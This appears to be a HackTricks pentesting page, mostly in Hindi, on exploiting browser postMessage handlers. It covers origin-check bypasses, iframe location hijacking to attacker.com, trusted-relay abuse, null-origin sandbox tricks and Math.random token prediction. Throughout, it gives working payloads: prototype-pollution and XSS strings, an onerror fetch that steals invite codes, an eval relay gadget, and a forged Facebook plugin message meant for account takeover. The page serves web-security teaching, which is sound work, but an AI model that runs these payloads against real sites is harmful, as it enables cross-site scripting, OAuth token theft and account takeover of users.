PostMessage कमजोरियाँ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

भेजें PostMessage

PostMessage संदेश भेजने के लिए निम्नलिखित फ़ंक्शन का उपयोग करता है:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

ध्यान दें कि targetOrigin ‘*’ या https://company.com. जैसा एक URL हो सकता है.
दूसरे परिदृश्य में, संदेश केवल उस डोमेन को भेजा जा सकता है (भले ही window object का origin अलग हो).
यदि wildcard का उपयोग किया गया है, संदेश किसी भी डोमेन पर भेजे जा सकते हैं, और वे Window object के origin पर भेजे जाएंगे.

iframe और wildcard को targetOrigin में निशाना बनाना

जैसा कि this report में समझाया गया है, अगर आप ऐसा पेज पाते हैं जिसे iframed किया जा सकता है (कोई X-Frame-Header सुरक्षा नहीं) और जो sending sensitive संदेश postMessage के माध्यम से wildcard (*) का उपयोग करके भेज रहा है, तो आप modify करके iframe के origin को बदलकर उस leak किए गए sensitive संदेश को अपने नियंत्रण वाले डोमेन पर भेज सकते हैं.
ध्यान दें कि यदि पेज iframed किया जा सकता है लेकिन targetOrigin set to a URL and not to a wildcard, तो यह trick won’t work.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener JS में उस फ़ंक्शन को घोषित करने के लिए उपयोग किया जाने वाला फ़ंक्शन है जो postMessages की अपेक्षा करता है.\
निम्नलिखित जैसे कोड का उपयोग किया जाएगा:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

इन पेज में मौजूद ईवेंट लिस्नर्स (event listeners) खोजने के लिए आप:

  • JS कोड में खोजें window.addEventListener और $(window).on (JQuery version)
  • डेवलपर टूल्स कंसोल में Execute करें: getEventListeners(window)

  • ब्राउज़र के डेवलपर टूल्स में Elements –> Event Listeners पर जाएँ

Origin check bypasses

  • event.isTrusted attribute को सुरक्षित माना जाता है क्योंकि यह True केवल उन इवेंट्स के लिए लौटाता है जो असली user actions से उत्पन्न हुए हैं। सही तरीके से लागू होने पर इसे बाइपास करना मुश्किल है, पर इसकी सुरक्षा जाँच में महत्व है।
  • PostMessage इवेंट्स में origin validation के लिए indexOf() का उपयोग बाइपास होने योग्य हो सकता है। इस कमजोरी का एक उदाहरण है:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • String.prototype.search() से आने वाली search() विधि regular expressions के लिए है, strings के लिए नहीं। regexp के अलावा कुछ पास करने पर implicit conversion regex में हो जाता है, जिससे यह तरीका असुरक्षित बन सकता है। regex में dot (.) वाइल्डकार्ड की तरह काम करता है, जिससे specially crafted domains के साथ validation बाइपास हो सकता है। उदाहरण के लिए:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() फ़ंक्शन भी search() की तरह regex के साथ काम करता है। यदि regex ठीक से संरचित न हो तो यह भी बाइपास के लिए संवेदनशील हो सकता है।

  • escapeHtml फ़ंक्शन inputs को sanitize करने के लिए है ताकि characters escape हों। हालांकि, यह एक नया escaped object नहीं बनाता बल्कि मौजूदा object की properties को overwrite करता है। इस व्यवहार का दुरुपयोग किया जा सकता है। ख़ासकर, यदि किसी object को इस तरह manipulate किया जा सके कि उसकी controlled property hasOwnProperty को पहचान न पाए, तो escapeHtml अपेक्षित तरीके से काम नहीं करेगी। नीचे उदाहरण दर्शाए गए हैं:

  • अपेक्षित विफलता (Expected Failure):

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • escape को बाइपास करना (Bypassing the escape):
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

इस कमजोरी के संदर्भ में, File object खासकर exploit योग्य है क्योंकि इसकी name property read-only होती है। जब यह property templates में उपयोग होती है, तो escapeHtml इसे sanitize नहीं करती, जिससे संभावित सुरक्षा जोखिम बनते हैं।

  • JavaScript में document.domain property को एक script द्वारा सेट किया जा सकता है ताकि domain छोटा किया जाए, जिससे उसी parent domain के भीतर same-origin policy थोड़ी ढीली हो सके।

Origin-only trust + trusted relays

यदि कोई receiver केवल event.origin की जाँच करता है (उदाहरण के लिए, किसी भी *.trusted.com को trust करता है) तो आप अक्सर उस origin पर कोई “relay” पेज ढूँढ सकते हैं जो attacker-controlled params को postMessage के जरिए दिए गए targetOrigin/targetWindow पर echo करता है। उदाहरण के लिए marketing/analytics gadgets जो query params लेते हैं और {msg_type, access_token, ...} को opener/parent में forward करते हैं। आप कर सकते हैं:

  • Victim पेज को popup/iframe में खोलें जिसका opener मौजूद हो ताकि उसके handlers register हों (कई pixels/SDKs केवल तभी listeners attach करते हैं जब window.opener मौजूद हो)।
  • एक और attacker विंडो को trusted origin पर मौजूद relay endpoint पर navigate करें, और उन message fields कोPopulate करें जिन्हें आप inject करना चाहते हैं (message type, tokens, nonces)।
  • चूंकि अब message trusted origin से आ रहा है, origin-only validation पास हो जाएगा और आप victim listener में privileged behaviors (state changes, API calls, DOM writes) trigger कर सकते हैं।

वाइल्ड में देखे गए abuse patterns:

  • Analytics SDKs (उदा., pixel/fbevents-style) messages जैसे FACEBOOK_IWL_BOOTSTRAP consume करते हैं, फिर message में दिए token का उपयोग करके backend APIs को कॉल करते हैं और request body में location.href / document.referrer शामिल करते हैं। यदि आप अपना token सप्लाई करते हैं, तो आप token’s request history/logs में इन requests को पढ़ सकते हैं और victim पेज के URL/referrer में मौजूद OAuth codes/tokens को exfiltrate कर सकते हैं।
  • कोई भी relay जो arbitrary fields को postMessage में reflect करता है, आपको privileged listeners द्वारा अपेक्षित message types को spoof करने देता है। कमजोर input validation के साथ मिलाकर यह Graph/REST calls, feature unlocks, या CSRF-समतुल्य flows तक पहुंच दे सकता है।

Hunting tips: ऐसे postMessage listeners की enumeration करें जो केवल event.origin चेक करते हैं, फिर same-origin HTML/JS endpoints देखें जो URL params को postMessage के जरिए आगे भेजते हैं (marketing previews, login popups, OAuth error pages)। इन्हें window.open() + postMessage के साथ जोड़कर origin checks को bypass करें।

e.origin == window.origin bypass

जब आप किसी वेब पेज को sandboxed iframe में embed करते हैं usando %%%%%%, तब यह समझना ज़रूरी है कि iframe की origin null पर सेट हो जाएगी। यह sandbox attributes और उनकी security/functional implications के मामले में खास है।

यदि sandbox attribute में allow-popups specify किया गया है, तो iframe के भीतर से खोला गया कोई भी popup parent के sandbox restrictions inherit करता है। इसका मतलब है कि जब तक allow-popups-to-escape-sandbox attribute भी शामिल न किया गया हो, popup विंडो की origin भी उसी तरह null पर सेट हो जाएगी, जो iframe की origin के अनुरूप है।

नतीजन, जब ऐसे हालात में एक popup खोला जाता है और iframe से popup को postMessage करके message भेजा जाता है, तो भेजने और प्राप्त करने दोनों पक्षों की origins null होंगी। इससे वह स्थिति बनती है जहाँ e.origin == window.origin true evaluate करेगा (null == null), क्योंकि iframe और popup दोनों का origin मान null ही है।

For more information read:

Bypassing SOP with Iframes - 1

Bypassing e.source

यह जांचना संभव है कि message उसी window से आया था जिसमें script सुन रहा है (खासकर यह Content Scripts from browser extensions के लिए रोचक होता है ताकि यह चेक कर सकें कि message वहीँ से भेजा गया था या नहीं):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

You can force e.source of a message to be null by creating an iframe that sends the postMessage and is immediately deleted.

For more information read:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

इन हमलों को करने के लिए आदर्श रूप से आप put the victim web page को एक iframe के अंदर रख सकेंगे। लेकिन कुछ headers जैसे X-Frame-Header उस behaviour को prevent कर सकते हैं।
ऐसे परिदृश्यों में आप अभी भी एक कम stealthy हमला उपयोग कर सकते हैं। आप vulnerable web application के लिए एक नया tab खोल सकते हैं और इसके साथ communicate कर सकते हैं:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

मुख्य पेज को ब्लॉक करके child iframe को भेजा गया संदेश चुराना

निम्नलिखित पेज में आप देख सकते हैं कि कैसे आप डेटा भेजने से पहले main पेज को ब्लॉक करके और child में मौजूद XSS का दुरुपयोग करके child iframe को भेजे गए संवेदनशील postmessage डेटा को प्राप्त होने से पहले leak कर सकते हैं:

Blocking main page to steal postmessage

iframe location बदलकर संदेश चोरी करना

यदि आप X-Frame-Header के बिना किसी वेबपेज को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस child iframe की location बदल सकते हैं, इसलिए यदि वह wildcard का उपयोग करके भेजे गए postmessage को प्राप्त कर रहा है, तो एक attacker उस iframe का origin उस पेज में बदल सकता है जिसे वह controlled करता है और संदेश चुरा सकता है:

Steal postmessage modifying iframe location

postMessage से Prototype Pollution और/या XSS

उन परिदृश्यों में जहाँ postMessage के माध्यम से भेजा गया डेटा JS द्वारा execute किया जाता है, आप पेज को iframe कर सकते हैं और postMessage के जरिए exploit भेजकर prototype pollution/XSS का दुरुपयोग कर सकते हैं।

कुछ बहुत अच्छे समझाये गए XSS जो postMessage के माध्यम से हैं यहाँ मिल सकते हैं: https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

एक उदाहरण जिसमें postMessage के माध्यम से iframe को भेजकर Prototype Pollution और फिर XSS का दुरुपयोग किया गया है:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

अधिक जानकारी के लिए:

Origin-derived script loading & supply-chain pivot (CAPIG case study)

capig-events.js ने केवल तब message handler रजिस्टर किया जब window.opener मौजूद था। IWL_BOOTSTRAP पर उसने pixel_id की जाँच की लेकिन event.origin को स्टोर किया और बाद में इसे ${host}/sdk/${pixel_id}/iwl.js बनाने के लिए उपयोग किया।

Handler writing attacker-controlled origin ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Get an opener: e.g., in Facebook Android WebView reuse window.name with window.open(target, name) so the window becomes its own opener, then post a message from a malicious iframe.
  2. Send IWL_BOOTSTRAP from any origin to persist host = event.origin in localStorage.
  3. Host /sdk/<pixel_id>/iwl.js on any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain). startIWL() then loads attacker JS in the embedding site (e.g., www.meta.com), enabling credentialed cross-origin calls and account takeover.

If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted postMessage to the parent to poison the stored host and force the script load.

Backend-generated shared script → stored XSS: the plugin AHPixelIWLParametersPlugin concatenated user rule parameters into JS appended to capig-events.js (e.g., cbq.config.set(...)). Injecting breakouts like "]} injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it.

Trusted-origin allowlist isn’t a boundary

एक सख्त event.origin चेक केवल तभी प्रभावी है जब trusted origin attacker JS चला ही नहीं सकता. जब privileged pages third-party iframes embed करते हैं और मान लेते हैं कि event.origin === "https://partner.com" सुरक्षित है, तो partner.com में कोई भी XSS parent में एक ब्रिज बन जाता है:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

वाइल्ड में देखा गया हमला पैटर्न:

  1. साझेदार iframe में XSS का शोषण करें और एक relay gadget डालकर किसी भी postMessage को विश्वसनीय origin के अंदर code exec बना दें:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. आक्रमणकारी पृष्ठ से, compromised iframe को JS भेजें जो parent को एक allowed message type आगे भेजता है। संदेश partner.com से उत्पन्न होता है, allowlist को पास करता है, और unsafe तरीके से insert किया गया HTML साथ ले जाता है:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. parent में attacker HTML inject होने पर JS execution in the parent origin (उदा., facebook.com) मिलती है, जिसका उपयोग OAuth codes चुराने या full account takeover flows में pivot करने के लिए किया जा सकता है।

Key takeaways:

  • Partner origin isn’t a boundary: किसी “trusted” partner में कोई भी XSS attackers को ऐसे allowed messages भेजने देता है जो event.origin checks को bypass कर देते हैं।
  • Handlers जो render partner-controlled payloads करते हैं (उदा., innerHTML किसी विशिष्ट message types पर) partner compromise को same-origin DOM XSS बना देते हैं।
  • एक व्यापक message surface (कई types, कोई structure validation नहीं) partner iframe compromise होने पर pivot करने के लिए और gadgets प्रदान करता है।

Predicting Math.random() callback tokens in postMessage bridges

जब message validation एक “shared secret” का उपयोग करता है जो Math.random() से generated होता है (उदा., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) और वही helper plugin iframes का नाम भी निर्धारित करता है, तो आप PRNG outputs recover कर सकते हैं और trusted messages forge कर सकते हैं:

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). अगर आप top frame को control करते हैं, victim page को iframe करें, फिर plugin iframe को अपने origin पर navigate करें (उदा., window.frames[0].frames[0].location='https://attacker.com') और window.frames[0].frames[0].name पढ़कर एक raw Math.random() output प्राप्त करें।
  • Force more outputs without reloads: कुछ SDKs एक reinit path expose करते हैं; FB SDK में {xfbml:1} के साथ init:post फायर करने से XFBML.parse() force होता है, plugin iframe destroy/recreate होता है, और नए names/callback IDs generate होते हैं। बार-बार reinit करने से जितने PRNG outputs चाहिए उतने मिल जाते हैं (ध्यान दें अतिरिक्त internal Math.random() calls callback/iframe IDs के लिए, इसलिए solvers को बीच के values skip करने होंगे)।
  • Trusted-origin delivery via parameter pollution: अगर कोई first-party plugin endpoint cross-window payload में unsanitized parameter reflect करता है (उदा., /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), तो आप &type=...&iconSVG=... inject कर सकते हैं जबकि trusted facebook.com origin बना रहता है।
  • Predict the next callback: leaked iframe names को वापस floats में [0,1) convert करें और कई values (यहाँ तक कि non-consecutive भी) एक V8 Math.random predictor में दें (उदा., Z3-based)। अगला guid() locally generate करें ताकि अपेक्षित callback token forge किया जा सके।
  • Trigger the sink: postMessage data इस तरह craft करें कि bridge xd.mpn.setupIconIframe dispatch करे और iconSVG में HTML inject करे (उदा., URL-encoded <img src=x onerror=...>), जिससे hosting origin के अंदर DOM XSS प्राप्त होता है; वहाँ से same-origin iframes (OAuth dialogs, arbiters, आदि) पढ़े जा सकते हैं।
  • Framing quirks help: यह chain framing पर निर्भर करती है। कुछ mobile webviews में, जब frame-ancestors मौजूद होता है तो X-Frame-Options unsupported ALLOW-FROM पर degrade हो सकता है, और “compat” parameters permissive frame-ancestors को force कर सकते हैं, जिससे window.name side channel सक्षम होता है।

न्यूनतम फोर्ज्ड संदेश उदाहरण

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें